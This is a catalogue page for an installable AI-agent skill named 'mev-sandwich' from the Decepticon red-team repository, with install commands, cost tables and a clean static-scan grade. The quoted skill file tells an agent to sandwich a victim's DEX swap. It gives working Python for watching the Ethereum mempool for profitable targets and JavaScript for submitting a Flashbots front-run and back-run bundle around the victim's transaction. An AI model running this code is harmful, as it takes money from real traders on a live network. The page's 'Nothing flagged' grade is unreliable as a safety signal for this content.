Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add PurpleAILAB/Decepticon --skill mev-sandwichgit clone --depth 1 https://github.com/PurpleAILAB/DecepticonWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/purpleailab/decepticon/mev-sandwich)<a href="https://agentmods.dev/skills/purpleailab/decepticon/mev-sandwich"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/mev-sandwich/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/purpleailab/decepticon/mev-sandwich"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/mev-sandwich.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector pass
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00058 | $0.01180 |
| Opus 5 | $0.00029 | $0.00590 |
| Sonnet 5 | $0.00012 | $0.00236 |
| Haiku 4.5 | $0.00006 | $0.00118 |
Grade A, and why
contracts-mev-sandwich scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
Copies of this mod
1 near-identical copy found in the catalogue:
- mev-sandwich — 98% identical, 2 lines differ
How it starts
The opening of the file, as written. The whole thing — 117 lines — stays where its author put it; the contents beside it link to each section on GitHub.
MEV Sandwich Attack
You observe a victim's DEX swap in the mempool. Sandwich it: buy the same token before the victim (pushing price up), let the victim swap at a worse price, then sell after them.
Detect a sandwichable swap
# Stream pending transactions
from web3 import Web3
w3 = Web3(Web3.HTTPProvider("https://eth.merkle.io"))
# Or: subscribe to alchemy/blocknative streams
# Filter for Uniswap V2 swapExactTokensForTokens or V3 exactInputSingle
# Look at the swap amount + slippage tolerance (deadline + minAmountOut)
# Sandwichable when: swap_amount * slippage > sandwich_gas_cost * 2
Math: profitable when victim's slippage tolerance exceeds your gas cost. Typical threshold for ETH/USDC swaps: victim swap >$10k with >1% slippage.
Construct the sandwich bundle
// Bundle: 3 tx in same block, in order
// 1. attacker_tx_1: swap baseToken -> token (push price UP)
// 2. victim_tx: swap baseToken -> token (worse price now)
// 3. attacker_tx_2: swap token -> baseToken (sell back at higher price)
// Flashbots bundle (Ethereum mainnet — others have similar private RPCs)
const ethers = require("ethers");
const { FlashbotsBundleProvider } = require("@flashbots/ethers-provider-bundle");
const provider = new ethers.providers.JsonRpcProvider(process.env.RPC);
const wallet = new ethers.Wallet(process.env.PK, provider);
const fb = await FlashbotsBundleProvider.create(provider, wallet, "https://relay.flashbots.net");
const blockNumber = await provider.getBlockNumber();
const bundle = [
{ signer: wallet, transaction: attackerTx1 }, // front-run
{ signedTransaction: rawVictimTx }, // victim from mempool
{ signer: wallet, transaction: attackerTx2 }, // back-run
];
const signedBundle = await fb.signBundle(bundle);
await fb.sendRawBundle(signedBundle, blockNumber + 1);
JIT (Just-In-Time) liquidity sandwich
Uniswap V3 concentrated liquidity lets you provide liquidity in a tight range for one block:
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 9d ago First seen · 117 lines · 58 tokens per session scan A 501593393149
contracts-mev-sandwich is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,491 stars, last pushed 13d ago), licensed Apache-2.0. It adds 58 tokens to every session and 1,180 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
langchain-fundamentals
Create LangChain agents with createagent, define tools, and use middleware for human-in-the-loop and error handling.
langsmith-evaluator
INVOKE THIS SKILL when building evaluation pipelines for LangSmith. Covers three core components: (1) Creating Evaluators - LLM-as-Judge, custom code; (2) Defining Run Functions - how to capture outputs and trajectories from your agent; (3) Running Evaluations - locally with evaluate() or auto-run via LangSmith. Uses…
devloop
Goal-driven development loop — define objective, write rules with key-results, verify visually, sync to issue tracker.
interactive-dashboard
Interactive web dashboards: stock trackers, sector heatmaps, portfolio monitors — served via preview URL.
skill0
Root index of x-cmd skill0 sub-skills. Defines the OKR-style agent workflow (goal → rule-verified results → execute), skill discovery, and agent tooling preferences. Style: principle-first, concise, delegate specifics to authoritative external sources.
idea-generation
Stock screening and idea generation: quantitative screens, thematic analysis, shortlist.